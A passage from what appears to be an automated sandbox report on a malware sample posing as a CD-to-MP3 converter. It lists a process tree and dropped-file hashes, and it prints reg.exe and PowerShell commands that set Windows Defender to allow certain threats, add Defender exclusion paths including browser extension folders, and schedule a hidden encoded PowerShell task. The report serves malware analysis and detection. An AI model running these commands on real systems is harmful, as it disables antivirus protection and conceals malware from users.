                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:3404
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:3428
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:3328
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:4360
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:1632
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:4820
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:4920
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:4944
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1260
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:4740
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:3928
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:3456
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AMqhlrBDqRJU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AMqhlrBDqRJU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OJBbginKvssDnbEKbsR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OJBbginKvssDnbEKbsR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UQtSSXvqU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UQtSSXvqU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ezMWJXFFLyUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ezMWJXFFLyUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hMiQKFvmPLjeC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hMiQKFvmPLjeC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CSlqozbqXBZGgaVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CSlqozbqXBZGgaVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DMGDvKLKeLwsjNbUi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DMGDvKLKeLwsjNbUi\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\wqgwJMWXAwfbGfvq\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\wqgwJMWXAwfbGfvq\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:3672
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AMqhlrBDqRJU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:4544
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AMqhlrBDqRJU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:5056
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AMqhlrBDqRJU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:4532
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJBbginKvssDnbEKbsR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:2184
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJBbginKvssDnbEKbsR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:3248
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UQtSSXvqU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:2292
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UQtSSXvqU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:3660
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ezMWJXFFLyUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:2228
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ezMWJXFFLyUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:3084
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hMiQKFvmPLjeC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:1548
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hMiQKFvmPLjeC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:376
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CSlqozbqXBZGgaVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:3604
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CSlqozbqXBZGgaVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:2676
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:3572
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:1888
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:4376
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:3812
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DMGDvKLKeLwsjNbUi /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:1128
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DMGDvKLKeLwsjNbUi /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:936
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\wqgwJMWXAwfbGfvq /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:4932
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\wqgwJMWXAwfbGfvq /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:3480
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "grMPnDAMe" /SC once /ST 07:51:41 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                        PID:4512
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                        schtasks /run /I /tn "grMPnDAMe"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:5060
                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                        PID:3352
                                                                                                                                                                                                                                                                        • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:3404
                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:1116
                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:3976
                                                                                                                                                                                                                                                                            • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:3440

                                                                                                                                                                                                                                                                              Network

                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\CD To MP3 Converter\cd2mp3converter32_64.exe

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                5.1MB

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                a7bac34961f182601ac051b2182b7aa7

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                715c3fe1569efa98e364484a633c651d16c0f2f6

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                901950d206da9af9b50ac4ad96eee9c7157cc1bd9d683f21c98d240e8ad6ee25

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                f0fede361fd1db3193aafe536840fd2e04f060ed66408cad403ffd8f75fd8b55e5aa2ca2a50507f5a0a64a00c99341788b204b1fba1c39a1ceb56538c9e304df

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                4280e36a29fa31c01e4d8b2ba726a0d8

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                c485c2c9ce0a99747b18d899b71dfa9a64dabe32

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                152B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                d406f3135e11b0a0829109c1090a41dc

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                810f00e803c17274f9af074fc6c47849ad6e873e

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                91f57909a10174b06c862089a9c1f3b3aeafea74a70ee1942ce11bb80d9eace4

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                2b9f0f94b1e8a1b62ab38af8df2add0ec9e4c6dfa94d9c84cc24fe86d2d57d4fc0d9ec8a9775cf42a859ddfd130260128185a0e2588992bca8fd4ebf5ee6d409

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                152B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                7f37f119665df6beaa925337bbff0e84

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                c2601d11f8aa77e12ab3508479cbf20c27cbd865

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                1073dbff3ec315ac85361c35c8ba791cc4198149b097c7b287dda1d791925027

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                8e180e41dd27c51e81788564b19b8ff411028890da506fbf767d394b1e73ec53e046c8d07235b2ec7c1c593c976bbf74ed9b7d442d68b526a0a77a9b5b0ab817

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000010

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                211KB

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                151fb811968eaf8efb840908b89dc9d4

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                7ec811009fd9b0e6d92d12d78b002275f2f1bee1

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                043fd8558e4a5a60aaccd2f0377f77a544e3e375242e9d7200dc6e51f94103ed

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                83aface0ab01da52fd077f747c9d5916e3c06b0ea5c551d7d316707ec3e8f3f986ce1c82e6f2136e48c6511a83cb0ac67ff6dc8f0e440ac72fc6854086a87674

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                408B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                a68bd7348e9054bc50c4139ae26d2133

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                ff9e0d35eadf16fde79f12cf3c92ebeaa171905b

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                1d33526cbc055cc90e06d92bb3a8f3dab338d99d1e2d6d496c37489cd6e94a54

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                85527900501b2f7bddd0b785c9c89c389926f2bfe7e38e6ab8106bc68f8b428abe9f6b904708c751ee956a7f56f74807ca386fa037da2ef16ca40150a191b5a2

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                216B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                9dcf99cf1c1b6b4f489a1c25e7365796

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                620b89d5ed97bd6fb0a09a56af0b344519f6cdab

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                a1ce04e98c6e296fae97de33081d7aac3494cc24d813ce7a5e1ac45f30d51e4c

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                c3306d40d1cd0b75960dd66e2a40fe52d190ecfd153389e769d2a670ca1b40c98934c3dce540521e5e3fb0bc4db1b750f0232359e9bc9b20c1104816a78acd98

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                336B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                47ec4789a69d19b8d220830df8744b06

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                bda7457d43b02b383fd4afb948b2759053ef1988

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                01e678d09841fc4df91ba2b4cfd99057e2d245ac28fddfc9ec878128e12f9be1

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                314cfc2ebf7a24da9a4cb36b8b6354f2ea5df05ea296ae0563122d54eef9d2c71dcf8492abe1f9f8a1d14d1e15295eb3b6035d75f7ebf101f2132ed27b302866

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                432B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                4f228d0ccc520bdb9d241b6304d944e0

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                1d209c74cb4d0725dbf9058144b1d401b5998e72

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                e390b5d9323b83a7ae1cfc59c68eceb96858feb1d92d628ec2bac2ea5d0f2e8b

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                f96c65602899108b000f9972e1371d2b25871071eb95919cefd9e6845e6b4fa736cb2c616c61938978fbc91a04ab53df6f06fcfb4d01eff227a5fa596d25e180

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\File System\000\t\Paths\CURRENT

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                16B

                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                46295cac801e5d4857d09837238a6394

                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                1KB

